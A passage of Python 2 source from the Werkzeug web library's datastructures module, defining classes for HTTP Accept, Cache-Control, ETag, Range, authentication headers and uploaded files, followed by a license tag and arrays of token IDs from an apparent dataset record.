matches: a list of matches to check for :param default: the value that is returned if none match """ best_quality = -1 result = default for server_item in matches: for client_item, quality in self: if quality <= best_quality: break if self._value_matches(server_item, client_item): best_quality = quality result = server_item return result @property def best(self): """The best match as value.""" if self: return self[0][0] class MIMEAccept(Accept): """Like :class:`Accept` but with special methods and behavior for mimetypes. """ def _value_matches(self, value, item): def _normalize(x): x = x.lower() return x == '*' and ('*', '*') or x.split('/', 1) # this is from the application which is trusted. to avoid developer # frustration we actually check these for valid values if '/' not in value: raise ValueError('invalid mimetype %r' % value) value_type, value_subtype = _normalize(value) if value_type == '*' and value_subtype != '*': raise ValueError('invalid mimetype %r' % value) if '/' not in item: return False item_type, item_subtype = _normalize(item) if item_type == '*' and item_subtype != '*': return False return ( (item_type == item_subtype == '*' or value_type == value_subtype == '*') or (item_type == value_type and (item_subtype == '*' or value_subtype == '*' or item_subtype == value_subtype)) ) @property def accept_html(self): """True if this object accepts HTML.""" return ( 'text/html' in self or 'application/xhtml+xml' in self or self.accept_xhtml ) @property def accept_xhtml(self): """True if this object accepts XHTML.""" return ( 'application/xhtml+xml' in self or 'application/xml' in self ) @property def accept_json(self): """True if this object accepts JSON.""" return 'application/json' in self class LanguageAccept(Accept): """Like :class:`Accept` but with normalization for languages.""" def _value_matches(self, value, item): def _normalize(language): return _locale_delim_re.split(language.lower()) return item == '*' or _normalize(value) == _normalize(item) class CharsetAccept(Accept): """Like :class:`Accept` but with normalization for charsets.""" def _value_matches(self, value, item): def _normalize(name): try: return codecs.lookup(name).name except LookupError: return name.lower() return item == '*' or _normalize(value) == _normalize(item) def cache_property(key, empty, type): """Return a new property object for a cache header. Useful if you want to add support for a cache extension in a subclass.""" return property(lambda x: x._get_cache_value(key, empty, type), lambda x, v: x._set_cache_value(key, v, type), lambda x: x._del_cache_value(key), 'accessor for %r' % key) class _CacheControl(UpdateDictMixin, dict): """Subclass of a dict that stores values for a Cache-Control header. It has accessors for all the cache-control directives specified in RFC 2616. The class does not differentiate between request and response directives. Because the cache-control directives in the HTTP header use dashes the python descriptors use underscores for that. To get a header of the :class:`CacheControl` object again you can convert the object into a string or call the :meth:`to_header` method. If you plan to subclass it and add your own items have a look at the sourcecode for that class. .. versionchanged:: 0.4 Setting `no_cache` or `private` to boolean `True` will set the implicit none-value which is ``*``: >>> cc = ResponseCacheControl() >>> cc.no_cache = True >>> cc <ResponseCacheControl 'no-cache'> >>> cc.no_cache '*' >>> cc.no_cache = None >>> cc <ResponseCacheControl ''> In versions before 0.5 the behavior documented here affected the now no longer existing `CacheControl` class. """ no_cache = cache_property('no-cache', '*', None) no_store = cache_property('no-store', None, bool) max_age = cache_property('max-age', -1, int) no_transform = cache_property('no-transform', None, None) def __init__(self, values=(), on_update=None): dict.__init__(self, values or ()) self.on_update = on_update self.provided = values is not None def _get_cache_value(self, key, empty, type): """Used internally by the accessor properties.""" if type is bool: return key in self if key in self: value = self[key] if value is None: return empty elif type is not None: try: value = type(value) except ValueError: pass return value def _set_cache_value(self, key, value, type): """Used internally by the accessor properties.""" if type is bool: if value: self[key] = None else: self.pop(key, None) else: if value is None: self.pop(key) elif value is True: self[key] = None else: self[key] = value def _del_cache_value(self, key): """Used internally by the accessor properties.""" if key in self: del self[key] def to_header(self): """Convert the stored values into a cache control header.""" return dump_header(self) def __str__(self): return self.to_header() def __repr__(self): return '<%s %r>' % ( self.__class__.__name__, self.to_header() ) class RequestCacheControl(ImmutableDictMixin, _CacheControl): """A cache control for requests. This is immutable and gives access to all the request-relevant cache control headers. To get a header of the :class:`RequestCacheControl` object again you can convert the object into a string or call the :meth:`to_header` method. If you plan to subclass it and add your own items have a look at the sourcecode for that class. .. versionadded:: 0.5 In previous versions a `CacheControl` class existed that was used both for request and response. """ max_stale = cache_property('max-stale', '*', int) min_fresh = cache_property('min-fresh', '*', int) no_transform = cache_property('no-transform', None, None) only_if_cached = cache_property('only-if-cached', None, bool) class ResponseCacheControl(_CacheControl): """A cache control for responses. Unlike :class:`RequestCacheControl` this is mutable and gives access to response-relevant cache control headers. To get a header of the :class:`ResponseCacheControl` object again you can convert the object into a string or call the :meth:`to_header` method. If you plan to subclass it and add your own items have a look at the sourcecode for that class. .. versionadded:: 0.5 In previous versions a `CacheControl` class existed that was used both for request and response. """ public = cache_property('public', None, bool) private = cache_property('private', '*', None) must_revalidate = cache_property('must-revalidate', None, bool) proxy_revalidate = cache_property('proxy-revalidate', None, bool) s_maxage = cache_property('s-maxage', None, None) # attach cache_property to the _CacheControl as staticmethod # so that others can reuse it. _CacheControl.cache_property = staticmethod(cache_property) class CallbackDict(UpdateDictMixin, dict): """A dict that calls a function passed every time something is changed. The function is passed the dict instance. """ def __init__(self, initial=None, on_update=None): dict.__init__(self, initial or ()) self.on_update = on_update def __repr__(self): return '<%s %s>' % ( self.__class__.__name__, dict.__repr__(self) ) class HeaderSet(object): """Similar to the :class:`ETags` class this implements a set-like structure. Unlike :class:`ETags` this is case insensitive and used for vary, allow, and content-language headers. If not constructed using the :func:`parse_set_header` function the instantiation works like this: >>> hs = HeaderSet(['foo', 'bar', 'baz']) >>> hs HeaderSet(['foo', 'bar', 'baz']) """ def __init__(self, headers=None, on_update=None): self._headers = list(headers or ()) self._set = set([x.lower() for x in self._headers]) self.on_update = on_update def add(self, header): """Add a new header to the set.""" self.update((header,)) def remove(self, header): """Remove a header from the set. This raises an :exc:`KeyError` if the header is not in the set. .. versionchanged:: 0.5 In older versions a :exc:`IndexError` was raised instead of a :exc:`KeyError` if the object was missing. :param header: the header to be removed. """ key = header.lower() if key not in self._set: raise KeyError(header) self._set.remove(key) for idx, key in enumerate(self._headers): if key.lower() == header: del self._headers[idx] break if self.on_update is not None: self.on_update(self) def update(self, iterable): """Add all the headers from the iterable to the set. :param iterable: updates the set with the items from the iterable. """ inserted_any = False for header in iterable: key = header.lower() if key not in self._set: self._headers.append(header) self._set.add(key) inserted_any = True if inserted_any and self.on_update is not None: self.on_update(self) def discard(self, header): """Like :meth:`remove` but ignores errors. :param header: the header to be discarded. """ try: return self.remove(header) except KeyError: pass def find(self, header): """Return the index of the header in the set or return -1 if not found. :param header: the header to be looked up. """ header = header.lower() for idx, item in enumerate(self._headers): if item.lower() == header: return idx return -1 def index(self, header): """Return the index of the header in the set or raise an :exc:`IndexError`. :param header: the header to be looked up. """ rv = self.find(header) if rv < 0: raise IndexError(header) return rv def clear(self): """Clear the set.""" self._set.clear() del self._headers[:] if self.on_update is not None: self.on_update(self) def as_set(self, preserve_casing=False): """Return the set as real python set type. When calling this, all the items are converted to lowercase and the ordering is lost. :param preserve_casing: if set to `True` the items in the set returned will have the original case like in the :class:`HeaderSet`, otherwise they will be lowercase. """ if preserve_casing: return set(self._headers) return set(self._set) def to_header(self): """Convert the header set into an HTTP header string.""" return ', '.join(map(quote_header_value, self._headers)) def __getitem__(self, idx): return self._headers[idx] def __delitem__(self, idx): rv = self._headers.pop(idx) self._set.remove(rv.lower()) if self.on_update is not None: self.on_update(self) def __setitem__(self, idx, value): old = self._headers[idx] self._set.remove(old.lower()) self._headers[idx] = value self._set.add(value.lower()) if self.on_update is not None: self.on_update(self) def __contains__(self, header): return header.lower() in self._set def __len__(self): return len(self._set) def __iter__(self): return iter(self._headers) def __nonzero__(self): return bool(self._set) def __str__(self): return self.to_header() def __repr__(self): return '%s(%r)' % ( self.__class__.__name__, self._headers ) class ETags(object): """A set that can be used to check if one etag is present in a collection of etags. """ def __init__(self, strong_etags=None, weak_etags=None, star_tag=False): self._strong = frozenset(not star_tag and strong_etags or ()) self._weak = frozenset(weak_etags or ()) self.star_tag = star_tag def as_set(self, include_weak=False): """Convert the `ETags` object into a python set. Per default all the weak etags are not part of this set.""" rv = set(self._strong) if include_weak: rv.update(self._weak) return rv def is_weak(self, etag): """Check if an etag is weak.""" return etag in self._weak def contains_weak(self, etag): """Check if an etag is part of the set including weak and strong tags.""" return self.is_weak(etag) or self.contains(etag) def contains(self, etag): """Check if an etag is part of the set ignoring weak tags. It is also possible to use the ``in`` operator. """ if self.star_tag: return True return etag in self._strong def contains_raw(self, etag): """When passed a quoted tag it will check if this tag is part of the set. If the tag is weak it is checked against weak and strong tags, otherwise strong only.""" etag, weak = unquote_etag(etag) if weak: return self.contains_weak(etag) return self.contains(etag) def to_header(self): """Convert the etags set into a HTTP header string.""" if self.star_tag: return '*' return ', '.join( ['"%s"' % x for x in self._strong] + ['w/"%s"' % x for x in self._weak] ) def __call__(self, etag=None, data=None, include_weak=False): if [etag, data].count(None) != 1: raise TypeError('either tag or data required, but at least one') if etag is None: etag = generate_etag(data) if include_weak: if etag in self._weak: return True return etag in self._strong def __nonzero__(self): return bool(self.star_tag or self._strong) def __str__(self): return self.to_header() def __iter__(self): return iter(self._strong) def __contains__(self, etag): return self.contains(etag) def __repr__(self): return '<%s %r>' % (self.__class__.__name__, str(self)) class IfRange(object): """Very simple object that represents the `If-Range` header in parsed form. It will either have neither a etag or date or one of either but never both. .. versionadded:: 0.7 """ def __init__(self, etag=None, date=None): #: The etag parsed and unquoted. Ranges always operate on strong #: etags so the weakness information is not necessary. self.etag = etag #: The date in parsed format or `None`. self.date = date def to_header(self): """Converts the object back into an HTTP header.""" if self.date is not None: return http_date(self.date) if self.etag is not None: return quote_etag(self.etag) return '' def __str__(self): return self.to_header() def __repr__(self): return '<%s %r>' % (self.__class__.__name__, str(self)) class Range(object): """Represents a range header. All the methods are only supporting bytes as unit. It does store multiple ranges but :meth:`range_for_length` will only work if only one range is provided. .. versionadded:: 0.7 """ def __init__(self, units, ranges): #: The units of this range. Usually "bytes". self.units = units #: A list of ``(begin, end)`` tuples for the range header provided. #: The ranges are non-inclusive. self.ranges = ranges def range_for_length(self, length): """If the range is for bytes, the length is not None and there is exactly one range and it is satisfiable it returns a ``(start, stop)`` tuple, otherwise `None`. """ if self.units != 'bytes' or length is None or len(self.ranges) != 1: return None start, end = self.ranges[0] if end is None: end = length if start < 0: start += length if is_byte_range_valid(start, end, length): return start, min(end, length) def make_content_range(self, length): """Creates a :class:`~werkzeug.datastructures.ContentRange` object from the current range and given content length. """ rng = self.range_for_length(length) if rng is not None: return ContentRange(self.units, rng[0], rng[1], length) def to_header(self): """Converts the object back into an HTTP header.""" ranges = [] for begin, end in self.ranges: if end is None: ranges.append(begin >= 0 and '%s-' % begin or str(begin)) else: ranges.append('%s-%s' % (begin, end - 1)) return '%s=%s' % (self.units, ','.join(ranges)) def __str__(self): return self.to_header() def __repr__(self): return '<%s %r>' % (self.__class__.__name__, str(self)) class ContentRange(object): """Represents the content range header. .. versionadded:: 0.7 """ def __init__(self, units, start, stop, length=None, on_update=None): assert is_byte_range_valid(start, stop, length), \ 'Bad range provided' self.on_update = on_update self.set(start, stop, length, units) def _callback_property(name): def fget(self): return getattr(self, name) def fset(self, value): setattr(self, name, value) if self.on_update is not None: self.on_update(self) return property(fget, fset) #: The units to use, usually "bytes" units = _callback_property('_units') #: The start point of the range or `None`. start = _callback_property('_start') #: The stop point of the range (non-inclusive) or `None`. Can only be #: `None` if also start is `None`. stop = _callback_property('_stop') #: The length of the range or `None`. length = _callback_property('_length') def set(self, start, stop, length=None, units='bytes'): """Simple method to update the ranges.""" assert is_byte_range_valid(start, stop, length), \ 'Bad range provided' self._units = units self._start = start self._stop = stop self._length = length if self.on_update is not None: self.on_update(self) def unset(self): """Sets the units to `None` which indicates that the header should no longer be used. """ self.set(None, None, units=None) def to_header(self): if self.units is None: return '' if self.length is None: length = '*' else: length = self.length if self.start is None: return '%s */%s' % (self.units, length) return '%s %s-%s/%s' % ( self.units, self.start, self.stop - 1, length ) def __nonzero__(self): return self.units is not None def __str__(self): return self.to_header() def __repr__(self): return '<%s %r>' % (self.__class__.__name__, str(self)) class Authorization(ImmutableDictMixin, dict): """Represents an `Authorization` header sent by the client. You should not create this kind of object yourself but use it when it's returned by the `parse_authorization_header` function. This object is a dict subclass and can be altered by setting dict items but it should be considered immutable as it's returned by the client and not meant for modifications. .. versionchanged:: 0.5 This object became immutable. """ def __init__(self, auth_type, data=None): dict.__init__(self, data or {}) self.type = auth_type username = property(lambda x: x.get('username'), doc=''' The username transmitted. This is set for both basic and digest auth all the time.''') password = property(lambda x: x.get('password'), doc=''' When the authentication type is basic this is the password transmitted by the client, else `None`.''') realm = property(lambda x: x.get('realm'), doc=''' This is the server realm sent back for HTTP digest auth.''') nonce = property(lambda x: x.get('nonce'), doc=''' The nonce the server sent for digest auth, sent back by the client. A nonce should be unique for every 401 response for HTTP digest auth.''') uri = property(lambda x: x.get('uri'), doc=''' The URI from Request-URI of the Request-Line; duplicated because proxies are allowed to change the Request-Line in transit. HTTP digest auth only.''') nc = property(lambda x: x.get('nc'), doc=''' The nonce count value transmitted by clients if a qop-header is also transmitted. HTTP digest auth only.''') cnonce = property(lambda x: x.get('cnonce'), doc=''' If the server sent a qop-header in the ``WWW-Authenticate`` header, the client has to provide this value for HTTP digest auth. See the RFC for more details.''') response = property(lambda x: x.get('response'), doc=''' A string of 32 hex digits computed as defined in RFC 2617, which proves that the user knows a password. Digest auth only.''') opaque = property(lambda x: x.get('opaque'), doc=''' The opaque header from the server returned unchanged by the client. It is recommended that this string be base64 or hexadecimal data. Digest auth only.''') @property def qop(self): """Indicates what "quality of protection" the client has applied to the message for HTTP digest auth.""" def on_update(header_set): if not header_set and 'qop' in self: del self['qop'] elif header_set: self['qop'] = header_set.to_header() return parse_set_header(self.get('qop'), on_update) class WWWAuthenticate(UpdateDictMixin, dict): """Provides simple access to `WWW-Authenticate` headers.""" #: list of keys that require quoting in the generated header _require_quoting = frozenset(['domain', 'nonce', 'opaque', 'realm']) def __init__(self, auth_type=None, values=None, on_update=None): dict.__init__(self, values or ()) if auth_type: self['__auth_type__'] = auth_type self.on_update = on_update def set_basic(self, realm='authentication required'): """Clear the auth info and enable basic auth.""" dict.clear(self) dict.update(self, {'__auth_type__': 'basic', 'realm': realm}) if self.on_update: self.on_update(self) def set_digest(self, realm, nonce, qop=('auth',), opaque=None, algorithm=None, stale=False): """Clear the auth info and enable digest auth.""" d = { '__auth_type__': 'digest', 'realm': realm, 'nonce': nonce, 'qop': dump_header(qop) } if stale: d['stale'] = 'TRUE' if opaque is not None: d['opaque'] = opaque if algorithm is not None: d['algorithm'] = algorithm dict.clear(self) dict.update(self, d) if self.on_update: self.on_update(self) def to_header(self): """Convert the stored values into a WWW-Authenticate header.""" d = dict(self) auth_type = d.pop('__auth_type__', None) or 'basic' return '%s %s' % (auth_type.title(), ', '.join([ '%s=%s' % (key, quote_header_value(value, allow_token=key not in self._require_quoting)) for key, value in d.iteritems() ])) def __str__(self): return self.to_header() def __repr__(self): return '<%s %r>' % ( self.__class__.__name__, self.to_header() ) def auth_property(name, doc=None): """A static helper function for subclasses to add extra authentication system properties onto a class:: class FooAuthenticate(WWWAuthenticate): special_realm = auth_property('special_realm') For more information have a look at the sourcecode to see how the regular properties (:attr:`realm` etc.) are implemented. """ def _set_value(self, value): if value is None: self.pop(name, None) else: self[name] = str(value) return property(lambda x: x.get(name), _set_value, doc=doc) def _set_property(name, doc=None): def fget(self): def on_update(header_set): if not header_set and name in self: del self[name] elif header_set: self[name] = header_set.to_header() return parse_set_header(self.get(name), on_update) return property(fget, doc=doc) type = auth_property('__auth_type__', doc=''' The type of the auth mechanism. HTTP currently specifies `Basic` and `Digest`.''') realm = auth_property('realm', doc=''' A string to be displayed to users so they know which username and password to use. This string should contain at least the name of the host performing the authentication and might additionally indicate the collection of users who might have access.''') domain = _set_property('domain', doc=''' A list of URIs that define the protection space. If a URI is an absolute path, it is relative to the canonical root URL of the server being accessed.''') nonce = auth_property('nonce', doc=''' A server-specified data string which should be uniquely generated each time a 401 response is made. It is recommended that this string be base64 or hexadecimal data.''') opaque = auth_property('opaque', doc=''' A string of data, specified by the server, which should be returned by the client unchanged in the Authorization header of subsequent requests with URIs in the same protection space. It is recommended that this string be base64 or hexadecimal data.''') algorithm = auth_property('algorithm', doc=''' A string indicating a pair of algorithms used to produce the digest and a checksum. If this is not present it is assumed to be "MD5". If the algorithm is not understood, the challenge should be ignored (and a different one used, if there is more than one).''') qop = _set_property('qop', doc=''' A set of quality-of-privacy directives such as auth and auth-int.''') def _get_stale(self): val = self.get('stale') if val is not None: return val.lower() == 'true' def _set_stale(self, value): if value is None: self.pop('stale', None) else: self['stale'] = value and 'TRUE' or 'FALSE' stale = property(_get_stale, _set_stale, doc=''' A flag, indicating that the previous request from the client was rejected because the nonce value was stale.''') del _get_stale, _set_stale # make auth_property a staticmethod so that subclasses of # `WWWAuthenticate` can use it for new properties. auth_property = staticmethod(auth_property) del _set_property class FileStorage(object): """The :class:`FileStorage` class is a thin wrapper over incoming files. It is used by the request object to represent uploaded files. All the attributes of the wrapper stream are proxied by the file storage so it's possible to do ``storage.read()`` instead of the long form ``storage.stream.read()``. """ def __init__(self, stream=None, filename=None, name=None, content_type=None, content_length=None, headers=None): self.name = name self.stream = stream or _empty_stream # if no filename is provided we can attempt to get the filename # from the stream object passed. There we have to be careful to # skip things like <fdopen>, <stderr> etc. Python marks these # special filenames with angular brackets. if filename is None: filename = getattr(stream, 'name', None) if filename and filename[0] == '<' and filename[-1] == '>': filename = None self.filename = filename if headers is None: headers = Headers() self.headers = headers if content_type is not None: headers['Content-Type'] = content_type if content_length is not None: headers['Content-Length'] = str(content_length) def _parse_content_type(self): if not hasattr(self, '_parsed_content_type'): self._parsed_content_type = \ parse_options_header(self.content_type) @property def content_type(self): """The file's content type. Usually not available""" return self.headers.get('content-type') @property def content_length(self): """The file's content length. Usually not available""" return int(self.headers.get('content-length') or 0) @property def mimetype(self): """Like :attr:`content_type` but without parameters (eg, without charset, type etc.). For example if the content type is ``text/html; charset=utf-8`` the mimetype would be ``'text/html'``. .. versionadded:: 0.7 """ self._parse_content_type() return self._parsed_content_type[0] @property def mimetype_params(self): """The mimetype parameters as dict. For example if the content type is ``text/html; charset=utf-8`` the params would be ``{'charset': 'utf-8'}``. .. versionadded:: 0.7 """ self._parse_content_type() return self._parsed_content_type[1] def save(self, dst, buffer_size=16384): """Save the file to a destination path or file object. If the destination is a file object you have to close it yourself after the call. The buffer size is the number of bytes held in memory during the copy process. It defaults to 16KB. For secure file saving also have a look at :func:`secure_filename`. :param dst: a filename or open file object the uploaded file is saved to. :param buffer_size: the size of the buffer. This works the same as the `length` parameter of :func:`shutil.copyfileobj`. """ from shutil import copyfileobj close_dst = False if isinstance(dst, basestring): dst = file(dst, 'wb') close_dst = True try: copyfileobj(self.stream, dst, buffer_size) finally: if close_dst: dst.close() def close(self): """Close the underlying file if possible.""" try: self.stream.close() except Exception: pass def __nonzero__(self): return bool(self.filename) def __getattr__(self, name): return getattr(self.stream, name) def __iter__(self): return iter(self.readline, '') def __repr__(self): return '<%s: %r (%r)>' % ( self.__class__.__name__, self.filename, self.content_type ) # circular dependencies from werkzeug.http import dump_options_header, dump_header, generate_etag, \ quote_header_value, parse_set_header, unquote_etag, quote_etag, \ parse_options_header, http_date, is_byte_range_valid from werkzeug.exceptions import BadRequestKeyError
gpl-3.0
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 10380, 14, 23004, 272, 18294, 2878, 23597, 339, 961, 859, 6571, 13667, 3617, 436, 3992, 543, 376, 17092, 3217, 14, 339, 520, 7307, 26, 334, 67, 9, 7760, 701, 314, 22798, 11682, 12, 1937, 10610, 367, 1655, 2436, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 646, 295, 199, 646, 6010, 199, 646, 13290, 199, 504, 7975, 492, 11982, 199, 199, 504, 10380, 423, 4672, 492, 485, 3280, 63, 2722, 12, 485, 4752, 12, 485, 1667, 63, 1745, 421, 199, 63, 5508, 63, 15966, 63, 264, 275, 295, 14, 2014, 8, 82, 3894, 32069, 10374, 421, 199, 318, 365, 63, 17836, 8, 277, 304, 272, 746, 3146, 3508, 82, 2251, 787, 17092, 7, 450, 291, 855, 533, 4914, 354, 3368, 421, 199, 318, 2740, 63, 3029, 63, 1744, 8, 4745, 304, 272, 408, 3315, 2335, 1806, 314, 2974, 402, 282, 4412, 32035, 2883, 436, 1338, 272, 1928, 366, 20148, 1263, 687, 1655, 6114, 13955, 14, 272, 408, 272, 340, 1228, 8, 4745, 12, 29393, 304, 267, 367, 1242, 315, 4412, 14, 4611, 8, 3029, 29, 549, 304, 288, 1995, 1242, 272, 916, 1228, 8, 4745, 12, 1211, 304, 267, 367, 790, 12, 574, 315, 4412, 14, 4611, 837, 288, 340, 1228, 8, 585, 12, 334, 2960, 12, 769, 2298, 355, 367, 574, 315, 574, 26, 490, 1995, 790, 12, 574, 288, 587, 26, 355, 1995, 790, 12, 574, 272, 587, 26, 267, 367, 1242, 315, 4412, 26, 288, 1995, 1242, 421, 199, 533, 25609, 1296, 4256, 8, 785, 304, 272, 408, 27142, 282, 520, 533, 1705, 513, 64, 17092, 14, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 339, 485, 2227, 63, 1637, 275, 488, 339, 347, 636, 2227, 721, 277, 304, 267, 340, 291, 423, 2227, 63, 1637, 365, 440, 488, 26, 288, 372, 291, 423, 2227, 63, 1637, 267, 4336, 275, 291, 423, 2227, 63, 1637, 275, 2631, 8, 2960, 8, 277, 430, 267, 372, 4336, 339, 347, 636, 5270, 63, 476, 721, 277, 12, 4113, 304, 267, 372, 730, 8, 277, 395, 334, 513, 8, 277, 16945, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 271, 478, 3037, 721, 277, 12, 284, 12, 1335, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 28788, 721, 277, 12, 1163, 304, 267, 365, 63, 17836, 8, 277, 9, 272, 636, 1017, 348, 363, 275, 636, 28788, 363, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 2193, 3037, 721, 277, 12, 284, 12, 1335, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 5666, 8, 277, 12, 1242, 304, 267, 365, 63, 17836, 8, 277, 9, 272, 2813, 275, 5666, 339, 347, 12247, 8, 277, 12, 6076, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 5518, 8, 277, 12, 2086, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 8, 277, 12, 1478, 4022, 17, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 3837, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4069, 8, 277, 12, 10467, 29, 403, 12, 790, 29, 403, 12, 3837, 29, 403, 304, 267, 365, 63, 17836, 8, 277, 9, 421, 199, 533, 25609, 1296, 8, 29174, 1296, 4256, 12, 769, 304, 272, 408, 2493, 17092, 520, 533, 1705, 513, 2313, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 339, 636, 2722, 363, 275, 485, 3280, 63, 2722, 8, 513, 9, 421, 199, 533, 25609, 2141, 4256, 8, 785, 304, 272, 408, 27142, 282, 520, 533, 1705, 807, 64, 17092, 14, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 272, 485, 2227, 63, 1637, 275, 488, 339, 768, 3744, 272, 347, 687, 1612, 8, 1886, 12, 2883, 12, 574, 29, 403, 304, 267, 1256, 275, 1613, 8, 1886, 12, 843, 2843, 1222, 721, 1886, 9, 267, 1256, 855, 826, 721, 3065, 8, 1612, 12, 11982, 8, 585, 1724, 267, 372, 1256, 339, 347, 636, 5270, 63, 476, 721, 277, 12, 4113, 304, 267, 372, 730, 8, 277, 395, 334, 807, 8, 277, 16945, 339, 347, 485, 1661, 63, 2227, 1744, 8, 277, 304, 267, 372, 291, 14, 4611, 342, 339, 347, 636, 2227, 721, 277, 304, 267, 340, 291, 423, 2227, 63, 1637, 365, 440, 488, 26, 288, 372, 291, 423, 2227, 63, 1637, 267, 4336, 275, 291, 423, 2227, 63, 1637, 275, 2631, 8, 21362, 8, 277, 423, 1661, 63, 2227, 1744, 4059, 267, 372, 4336, 339, 347, 29408, 8, 277, 12, 790, 12, 849, 29, 403, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 1678, 8, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 8, 277, 12, 790, 12, 849, 29, 403, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 1053, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 5436, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 421, 199, 533, 25609, 21365, 4256, 8, 29174, 2141, 4256, 304, 272, 408, 27142, 282, 520, 533, 1705, 21365, 64, 17092, 14, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 339, 347, 636, 5270, 63, 476, 721, 277, 12, 4113, 304, 267, 372, 730, 8, 277, 395, 334, 277, 14, 1744, 8, 3029, 29, 549, 16945, 339, 347, 485, 1661, 63, 2227, 1744, 8, 277, 304, 267, 372, 291, 14, 4611, 8, 3029, 29, 549, 9, 339, 347, 1050, 8, 277, 12, 790, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 1053, 513, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 513, 8, 277 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 10380, 14, 23004, 272, 18294, 2878, 23597, 339, 961, 859, 6571, 13667, 3617, 436, 3992, 543, 376, 17092, 3217, 14, 339, 520, 7307, 26, 334, 67, 9, 7760, 701, 314, 22798, 11682, 12, 1937, 10610, 367, 1655, 2436, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 646, 295, 199, 646, 6010, 199, 646, 13290, 199, 504, 7975, 492, 11982, 199, 199, 504, 10380, 423, 4672, 492, 485, 3280, 63, 2722, 12, 485, 4752, 12, 485, 1667, 63, 1745, 421, 199, 63, 5508, 63, 15966, 63, 264, 275, 295, 14, 2014, 8, 82, 3894, 32069, 10374, 421, 199, 318, 365, 63, 17836, 8, 277, 304, 272, 746, 3146, 3508, 82, 2251, 787, 17092, 7, 450, 291, 855, 533, 4914, 354, 3368, 421, 199, 318, 2740, 63, 3029, 63, 1744, 8, 4745, 304, 272, 408, 3315, 2335, 1806, 314, 2974, 402, 282, 4412, 32035, 2883, 436, 1338, 272, 1928, 366, 20148, 1263, 687, 1655, 6114, 13955, 14, 272, 408, 272, 340, 1228, 8, 4745, 12, 29393, 304, 267, 367, 1242, 315, 4412, 14, 4611, 8, 3029, 29, 549, 304, 288, 1995, 1242, 272, 916, 1228, 8, 4745, 12, 1211, 304, 267, 367, 790, 12, 574, 315, 4412, 14, 4611, 837, 288, 340, 1228, 8, 585, 12, 334, 2960, 12, 769, 2298, 355, 367, 574, 315, 574, 26, 490, 1995, 790, 12, 574, 288, 587, 26, 355, 1995, 790, 12, 574, 272, 587, 26, 267, 367, 1242, 315, 4412, 26, 288, 1995, 1242, 421, 199, 533, 25609, 1296, 4256, 8, 785, 304, 272, 408, 27142, 282, 520, 533, 1705, 513, 64, 17092, 14, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 339, 485, 2227, 63, 1637, 275, 488, 339, 347, 636, 2227, 721, 277, 304, 267, 340, 291, 423, 2227, 63, 1637, 365, 440, 488, 26, 288, 372, 291, 423, 2227, 63, 1637, 267, 4336, 275, 291, 423, 2227, 63, 1637, 275, 2631, 8, 2960, 8, 277, 430, 267, 372, 4336, 339, 347, 636, 5270, 63, 476, 721, 277, 12, 4113, 304, 267, 372, 730, 8, 277, 395, 334, 513, 8, 277, 16945, 339, 347, 636, 13228, 721, 277, 12, 790, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 271, 478, 3037, 721, 277, 12, 284, 12, 1335, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 28788, 721, 277, 12, 1163, 304, 267, 365, 63, 17836, 8, 277, 9, 272, 636, 1017, 348, 363, 275, 636, 28788, 363, 339, 347, 636, 8617, 721, 277, 12, 790, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 636, 2193, 3037, 721, 277, 12, 284, 12, 1335, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 5666, 8, 277, 12, 1242, 304, 267, 365, 63, 17836, 8, 277, 9, 272, 2813, 275, 5666, 339, 347, 12247, 8, 277, 12, 6076, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 5518, 8, 277, 12, 2086, 12, 574, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4560, 8, 277, 12, 1478, 4022, 17, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 3837, 8, 277, 304, 267, 365, 63, 17836, 8, 277, 9, 339, 347, 4069, 8, 277, 12, 10467, 29, 403, 12, 790, 29, 403, 12, 3837, 29, 403, 304, 267, 365, 63, 17836, 8, 277, 9, 421, 199, 533, 25609, 1296, 8, 29174, 1296, 4256, 12, 769, 304, 272, 408, 2493, 17092, 520, 533, 1705, 513, 2313, 339, 2508, 7445, 447, 378, 14, 21, 339, 520, 4239, 26, 272, 408, 339, 636, 2722, 363, 275, 485, 3280, 63, 2722, 8, 513, 9, 421, 199, 533, 25609, 2141, 4256, 8, 